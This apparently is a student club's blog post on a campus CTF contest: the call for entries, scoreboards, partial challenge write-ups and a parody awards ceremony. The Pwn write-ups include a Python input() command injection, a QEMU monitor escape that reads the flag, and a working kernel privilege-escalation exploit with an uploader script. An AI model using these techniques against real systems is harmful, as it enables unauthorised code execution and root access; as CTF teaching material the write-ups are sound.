25 May 2021

第六届贵校信息安全竞赛

第六届贵校信息安全竞赛

关于举办第六届贵校信息安全竞赛的通知

为深入贯彻落实,提升,促进,由贵🐋中央委员会指导,贵🐋办公厅主办,贵🐋教学指导委员会承办,贵🐋竞赛事务管理委员会协办,贵🐋Web 安全部提供技术支持,不使用北京易霖博信息技术有限公司平台的第六届贵校信息安全竞赛已于今日启动,现将有关事项通知如下:

竞赛目的

为了应付贵校龙鸣创新月活动

通过竞赛的方式提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能。

组织机构

指导单位:贵🐋中央委员会

主办单位:贵🐋办公厅

承办单位:贵🐋教学指导委员会

协办单位:贵🐋竞赛事务管理委员会

技术支持:贵🐋Web 安全部,没有北京易霖博信息技术有限公司

合作单位:StudentUnion 战队、fish-farming 战队

参赛对象

贵校在读本科生、研究生。具体要求如下:

  1. 每支参赛队伍人数最多不超过三人,允许跨年级,跨专业组队。
  2. 参赛队员只能隶属于一支队伍。
  3. 过往比赛有作弊行为者不得参赛。(把法师骨灰🐏了

参赛方式

各参赛队伍通过竞赛官方网站进行线上报名,并通过电子邮件向竞赛组委会提交报名表进行审核。组委会将于 5 月 21 日前完成各参赛队伍资格审查,并公布参赛队伍名单。

竞赛为公益性赛事,不收取任何参赛费用。

竞赛官网和报名表将在官方 QQ 群中公布。

竞赛日程

报名:2021 年4 月 18 日 12:00-2021 年 5 月 20 日 12:00

线上赛:2021 年5 月 21 日 21:00-2021 年 5 月23 日 21:00

颁奖:2021 年 5 月 27 日(颁🔨

竞赛内容

CTF

本次竞赛采取线上答题模式(CTF 赛制),赛题内容主要涉及二进制漏洞挖掘利用、逆向工程、密码学、Web 安全、信息搜集、隐写分析等信息安全领域的主要知识与技能,重点考察参赛选手信息安全基本技能和相关知识的综合运用能力。

评审规则

注册 CTFd,解题,交 wp,扬法师

参赛队伍用注册成功的账号登陆线上赛平台进行答题,每道赛题均内置 1个 flag ,设置一定的分值,参赛队解题后得到 flag 并提交即可获得相应的分数。比赛结束后 24 小时内,各参赛队伍需提交解出的每道赛题详细的解题报告(Writeup),经组委会审核后,确定各参赛队最终得分和排名。未按要求提交解题报告,视为放弃比赛成绩。作弊行为一经发现,取消比赛成绩,并进行通报。

竞赛设置监督委员会,监督委员会本着公平公正的原则对比赛情况进行监督,接受参赛队伍的申诉并进行裁决。如参赛队伍对成绩有异议,可在结果正式公布前向监督委员会发起申诉。

奖项设置

没奖

为全面贯彻落实中央网络安全和信息化委员会办公室关于规范促进网络安全竞赛活动的通知,防止网络安全竞赛中出现选手逐利化等无序发展的现象,发挥网络安全竞赛在网络安全人才培养、技术和产业发展中的积极作用,本次竞赛将按照有关规定以适当形式对在竞赛中取得优异成绩的选手予以表彰奖励。

一等奖:共一队。参赛队员分别获得“第六届贵校信息安全竞赛一等奖”个人证书。(证书可能没有

二等奖:共两队。参赛队员分别获得“第六届贵校信息安全竞赛二等奖”个人证书。(证书可能没有

三等奖:共三队。参赛队员分别获得“第六届贵校信息安全竞赛三等奖”个人证书。(证书可能没有

参赛选手将按照贵校有关规定获得相应的创新创业学分(有啥用啊),本次竞赛的获奖情况将作为 2021 年山东省大学生网络安全技能大赛参赛选手选拔参考。(一等奖去了也是白给)

第六届贵校信息安全竞赛圆满结束

2021 年 5 月 23 日 21:00,由贵🐋中央委员会指导,贵🐋办公厅主办,贵🐋教学指导委员会承办,贵🐋竞赛事务管理委员会协办,贵🐋Web 安全部提供技术支持的第六届贵校信息安全竞赛落下帷幕。来自全校各地的 21 支网络安全精英战队在网络靶场中激烈鏖战,上演了一场精彩的攻防对决。

最终有 18 支队伍成功得分,展现了高超的解题技巧

排名: 1 队名:Able dog 分数:14230
排名: 2 队名:我想静静 分数:13289
排名: 3 队名:Yellow Horse 分数:9243
排名: 4 队名:Fume3hr0om 分数:6358
排名: 5 队名:又菜又爱玩 分数:5380
排名: 6 队名:Holy-Sheep 分数:4597
排名: 7 队名:needlenowrong 分数:2697
排名: 8 队名:C501 分数:2688
排名: 9 队名:鱼与鱼与鱼 分数:2641
排名:10 队名:回家的诱惑 分数:2502
排名:11 队名:争取变得像xyf一样壮 分数:2502
排名:12 队名:0.5多一点都不要 分数:2254
排名:13 队名:做出一题算我输 分数:1702
排名:14 队名:c0nst 分数:1702
排名:15 队名:炸串卷饼队 分数:1702
排名:16 队名:你好烧啊 分数:939
排名:17 队名:中文名 分数:367
排名:18 队名:RWBY 分数:367
排名:19 队名:枫叶 分数:0
排名:20 队名:111 分数:0
排名:21 队名:D3C 分数:0

还有莅临指导的校外队伍,吊打校内队伍,总榜如下:

排名: 1 队名:st0k3 分数:14035
排名: 2 队名:WaterDrop 分数:12953
排名: 3 队名:mumuzi@fan 分数:11885
排名: 4 队名:Able dog 分数:9957
排名: 5 队名:我想静静 分数:9132
排名: 6 队名:DoK0wn 分数:8093
排名: 7 队名:coin👴😅 分数:7969
排名: 8 队名:Yellow Horse 分数:5640
排名: 9 队名:bubble 分数:5374
排名:10 队名:A1igNed 分数:4548
排名:11 队名:Fume3hr0om 分数:3114
排名:12 队名:C_A_i 分数:2933
排名:13 队名:又菜又爱玩 分数:2773
排名:14 队名:Holy-Sheep 分数:2763
排名:15 队名:1u1u 分数:2606
排名:16 队名:看戏选手 分数:2247
排名:17 队名:flag{}___Orz 分数:2225
排名:18 队名:bnsbns 分数:2086
排名:19 队名:cainiao 分数:1942
排名:20 队名:世界在你眼眸不舍形状 分数:1724
排名:21 队名:0.5多一点都不要 分数:1586
排名:22 队名:师傅们轻点 分数:1482
排名:23 队名:hhhgvft 分数:1472
排名:24 队名:st0k233 分数:1266
排名:25 队名:needlenowrong 分数:1210
排名:26 队名:AT 分数:763
排名:27 队名:你好烧啊 分数:753
排名:28 队名:C501 分数:672
排名:29 队名:回家的诱惑 分数:397
排名:30 队名:争取变得像xyf一样壮 分数:397
排名:31 队名:鱼与鱼与鱼 分数:315
排名:32 队名:pl1rry 分数:305
排名:33 队名:做出一题算我输 分数:30
排名:34 队名:c0nst 分数:30
排名:35 队名:Nova底登陆 分数:30
排名:36 队名:sau-0 分数:30
排名:37 队名:炸串卷饼队 分数:30
排名:38 队名:m4xlmum 分数:30
排名:39 队名:Makabaka 分数:20
排名:40 队名:AiDai 分数:10
排名:41 队名:中文名 分数:10
排名:42 队名:ttt 分数:10
排名:43 队名:喝杯水 分数:10
排名:44 队名:elahw-eulb 分数:10
排名:45 队名:闹着玩 分数:10
排名:46 队名:Aslhs 分数:10
排名:47 队名:RWBY 分数:10

部分 WriteUp

Misc

Welcome

签到题,复制 flag,粘贴到下方的框中,点击 Submit

GirlFriend

可以听到明显的摩斯电码,看频谱图可以看到长短线,当然你要是硬听出来也行。

Misc_Checkin

base 全家桶

base85、base58,base64,base32,base16

Music163

插入链接时,要把 URL 中包含个人信息的参数清理干净。以网易云音乐客户端为例,假设有人点击分享 - 复制链接,得到的 URL 是 https://music.163.com/song?id=114295&userid=198554。其中 id 是音乐的 ID,而 userid 则是分享者的 ID,我们就可以顺腾摸瓜找到分享者的主页:https://music.163.com/#/user/home?id=198554。

——腾汛新闻《使用 Pelican 搭建静态博客的经验和细节

Location

照片 exif 能看到经纬度,定位就完事了

Crack_Zip

18 通信学号:18020023###

18020023###18020023###

用 ARCHPR 掩码攻击

Who_is_he

图上是傅里叶,不是牛顿也不是贝叶斯,flag 也不是 flag{傅里叶}。

图片傅里叶变换之后就能看到 flag

figure()
img=imread('Fourier.png');
f=im2double(img); 
F=fft2(f); 
F1=log(abs(F)+1);
Fs=fftshift(F);
S=log(abs(Fs));
imshow(S,[])

BabyStego

strings 能看到 base64,解出来是 https://github.com/ragibson/Steganography

照着 README 打就行

Recover

DiskGenius 把文件恢复出来,显然是一个倒过来的 PE 文件

远看泰山黑糊糊,上头细来下头粗。

如把泰山倒过来,下头细来上头粗。

f = open('flag.exe','r')
f2 = open('fl4g.exe','w')
f2.write(f.read()[::-1])

Reverse

Reverse_Checkin

ida 打开一路跟下去一段一段找 flag,源码如下

#include<stdio.h>

long long int x = 0x7878787878787878;
long long int xx = 0x7878787878787878;
long long int d = 0x3262623163346132;
long long int xxx = 0x7878787878787878;
long long int c = 0x6366376632303464;
long long int xxxx = 0x7878787878787878;
long long int b = 0x6163646466376137;
long long int xxxxx = 0x7878787878787878;

void flag2(long long int* ptr){
	puts("Where is the flag?");
	printf("%p\n",ptr);
	printf("%p\n",&b);
}

void flag(long long int* ptr){
	puts("Where is the flag?");
	long long int e = 0x7d6361636337;
	printf("%p\n",ptr);
	flag2(&e);
}

int main(int argc, char const *argv[])
{
	long long int a = 0x3734647b67616c66;
	puts("Welcome To OUC-CTF");
	flag(&a);
	return 0;
}

pacman

游戏暂停时检查分数,如果大于 0xdeadbeef 就输出 flag

void PauseGame() {
	int chtmp;

	//Display pause dialog
	wattron(win, COLOR_PAIR(Pacman));
	mvwprintw(win, 12, 10, "********");
	mvwprintw(win, 13, 10, "*PAUSED*");
	mvwprintw(win, 14, 10, "********");
	wrefresh(win);
    unsigned char enc[0x30] = "f\t\x0e\x07\x11.gT\x0b\r\x0e\x32\x01\x0eXWW_\x16\x0c";
	unsigned char dec[0x30];
	if (Points > 0xdeadbeef){
		dec[0] = enc[0];
		for (int i = 1; i < 20; i++){
			unsigned char tmp1 = dec[i-1]+0x1;
			unsigned char tmp2 = (((enc[i]&0xff^tmp1))^0x2)&0xff;
			dec[i] = tmp2;
		}
		dec[20] = '\x00';
		while(1){
			puts(dec);
		}
	}
	//And wait
	do {
		chtmp = getch();
	} while (chtmp == ERR);

}

patch 或者自己写都行

int main(){
    char enc[0x30] = "f\t\x0e\x07\x11.gT\x0b\r\x0e\x32\x01\x0eXWW_\x16\x0c";
	char dec[0x30];
	if (1){
		dec[0] ='f';
		for (int i = 1; i < 20; i++){
			char tmp1 = dec[i-1]+0x1;
			char tmp2 = (((enc[i]&0xff^tmp1))^0x2)&0xff;
			dec[i] = tmp2;
		}
        dec[20] = '\x00';
		puts(dec);
	}
}

angry

check 函数很大,但是可以用 angr 跑

import angr
import claripy

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(38)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])


proj = angr.Project('./angry', auto_load_libs=False)
state = proj.factory.entry_state(add_options={angr.options.LAZY_SOLVES},stdin=flag)

state.add_constraints(flag_chars[0] == 'f')
state.add_constraints(flag_chars[1] == 'l')
state.add_constraints(flag_chars[2] == 'a')
state.add_constraints(flag_chars[3] == 'g')
state.add_constraints(flag_chars[4] == '{')
state.add_constraints(flag_chars[37] == '}')
for k in flag_chars[5:-1]:
    cond_0 = k >= ord('0')
    cond_1 = k <= ord('9')
    cond_2 = k >= ord('a')
    cond_3 = k <= ord('f')
    cond_4 = state.solver.And(cond_0, cond_1)
    cond_5 = state.solver.And(cond_2, cond_3)
    state.add_constraints(state.solver.Or(cond_4, cond_5))

sm = proj.factory.simulation_manager(state)
sm.explore(find=0x4098DE)
print(sm.found[0].posix.dumps(0))
for i in range(len(sm.found)):
    print(sm.found[i].posix.dumps(0))

不添加约束也能跑出来

import angr
import claripy

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(38)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
proj = angr.Project('./angry', auto_load_libs=False)
state = proj.factory.entry_state(add_options={angr.options.LAZY_SOLVES},stdin=flag)
sm = proj.factory.simulation_manager(state)
sm.explore(find=0x4098DE)
print(sm.found[0].posix.dumps(0))
for i in range(len(sm.found)):
    print(sm.found[i].posix.dumps(0))

也可以把 check 函数 ida f5 出来后加减互换,输入密文

夹👶🏻机

三万👴:看到 time.Date() 猜测 RC4 的密钥为时间戳,根据前文 “2021 年苹果春晚”,百度,得到 2021 年4 月21 日凌晨1 点。转化为时间戳解密即可。

Pwn

Pwn_Checkin

/ # ls
ls
bin      etc      linuxrc  root     sys      usr
dev      init     proc     sbin     tmp
/ # md5sum init
md5sum init
5cb180560110e5552d7a90ac5cf769cb  init
/ #

Baby_Python

经典 python2 int(input())

Input two number:
__import__('os').system('cat /home/ctf/flag')
flag{2e147e3242f9093105a7940056027cbe}

White_Give_Flag

白给 flag,可以看这篇博客:VNCTF2021-WriteGiveFlag

from pwn import *
r = remote('39.106.29.44',10100)
r.recvuntil('choice:')
r.shutdown_raw('send')
r.interactive()

Baby_Qemu

launch.sh 没写 -monitor /dev/null,直接 ctrl+a+c 进 monitor

然后 migrate "exec:cat flag 1>&2"

/ # ^Ac
QEMU 4.2.1 monitor - type 'help' for more information
(qemu)
(qemu) migrate "exec:cat flag 1>&2"
migrate "exec:cat flag 1>&2"
flag{457e0d74fccfe54ef8700eb38b688065}qemu-system-x86_64: failed to save SaveStateEntry with id(name): 3(ram)
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu)

Baby_Kernel

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open =      NULL,
    .release =   NULL,
    .read =      NULL,
    .write =     my_write,
    .unlocked_ioctl = NULL
};

只定义了 write

char secret[0x200] = "AiDai_wants_a_girlfriend";
static ssize_t my_write(struct file *filp, const char *buff, size_t len, loff_t * off){
    char a[0x20];
    printk("write\n");
    copy_from_user(a,buff,len);
    if(strncmp(a,secret,strlen(secret)) == 0){
        printk(a);
        commit_creds(prepare_kernel_cred(0));
    }
    return 0;
}

写一个 AiDai_wants_a_girlfriend 就可以提权

exp 如下

//musl-gcc -static exp.c -o exp && strip exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char const *argv[]){
    int fd;
    char secret[0x200] = "AiDai_wants_a_girlfriend";
    fd = open("/proc/babykernel", O_RDWR);
    write(fd,secret,strlen(secret));
    system("/bin/sh");
}

from pwn import *
import base64
import sys
import os

os.system('musl-gcc -static exp.c -o exp && strip exp')
f = open("exp", "rb")
exp = f.read()
f.close()
print(len(exp))
step = 0x200

r = remote('39.106.29.44',10103)
r.recvuntil('#')
r.sendline('')

log.info('uploading...')
for i in range(0,len(exp)/step+1):
    b64_exp = base64.b64encode(exp[step*i:step*(i+1)])
    r.recvuntil('$')
    r.sendline('echo %s >> /tmp/b64_exp'%b64_exp)
log.success('upload success')

r.recvuntil('$')
r.sendline('base64 -d /tmp/b64_exp > /tmp/exp')
r.recvuntil('$')
r.sendline('cd tmp')
r.recvuntil('$')
r.sendline('chmod 777 exp')

r.interactive()

/tmp $ $ whoami
whoami
ctf
/tmp $ $ cat /root/flag
cat /root/flag
cat: can't open '/root/flag': Permission denied
/tmp $ $ ./exp
./exp
[   10.349185] write
[   10.351352] AiDai_wants_a_girlfriend� \x80\x06tmp # $whoami
whoami
root
/tmp # $ cat /root/flag
cat /root/flag
flag{8dfa5dd0ac57fe7eb35a3b2d15607cbe}
/tmp # $

Web

Crypto

即得易见平凡,仿照上例显然。留作习题答案略,读者自证不难。

反之亦然同理,推论自然成立,略去过程 QED,由上可知证毕。

颁奖典礼

👴🚪在群里整了个颁奖典礼

👴:尊敬的张主任,各位领导,各位来宾,老师们,亲爱的同学们,大家上午好!

👴:欢迎各位来到第六届中国海洋大学信息安全竞赛颁奖典礼。

👴:下面请允许我介绍出席颁奖典礼的各位领导,他们是:

👴:蓝鲸中央顾问委员会主任 7k👴,大家掌声欢迎!

7k👴:🙋‍

众人:👏

👴:蓝鲸办公厅主任陈延毕,大家掌声欢迎!

陈延毕:🙋‍

众人:👏

👴:蓝鲸竞赛事务管理委员会主任 coin 割割,大家掌声欢迎!

coin 割割:🙋‍

众人:👏

👴:蓝鲸web安全部部长陈延毕,大家掌声欢迎!

陈延毕:🙋‍

众人:👏

👴:我宣布,第六届中国海洋大学信息安全竞赛颁奖典礼现在开始!首先,请蓝鲸办公厅主任@陈延毕为本次颁奖典礼致辞,大家掌声欢迎!

众人:👏

陈延毕:尊敬的张主任,各位领导,各位来宾,老师们,亲爱的同学们,大家上午好!后面的👴编不出来了,谢谢大家!

众人:👏

👴:2021 年 5 月 23 日 21:00,由蓝鲸中央委员会指导,蓝鲸办公厅主办,蓝鲸教学指导委员会承办,蓝鲸竞赛事务管理委员会协办,蓝鲸 Web 安全部提供技术支持的第六届贵校信息安全竞赛落下帷幕。来自全校各地的 21 支网络安全精英战队在网络靶场中激烈鏖战,上演了一场精彩的攻防对决。

👴:下面,由我来宣布获奖队伍名单。

👴:获得三等奖的队伍是:Fume3hr0om、又菜又爱玩、Holy-Sheep,请蓝鲸竞赛事务管理委员会主任 coin 割割为获得三等奖的队伍颁奖!

众人:👏

coin 割割:🏆、🤝

获奖选手:🤝

coin 割割:🏆、🤝

获奖选手:🤝

coin 割割:🏆、🤝

获奖选手:🤝

摄影师:截图

👴:获得二等奖的队伍是:我想静静、Yellow Horse,请蓝鲸办公厅主任陈延毕为获得二等奖的队伍颁奖!

众人:👏

陈延毕:🏆、🤝

获奖选手:🤝

陈延毕:🏆、🤝

获奖选手:🤝

摄影师:截图

👴:获得一等奖的队伍是:Able dog,请蓝鲸中央顾问委员会主任 7k👴为获得一等奖的队伍颁奖!

众人:👏

7k👴:🏆、🤝

获奖选手:🤝

摄影师:截图

👴:让我们再次以热烈的掌声祝贺这些获奖队伍!

众人:👏

👴:我宣布,第六届中国海洋大学信息安全竞赛颁奖典礼到此结束,谢谢大家!

众人:👏


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).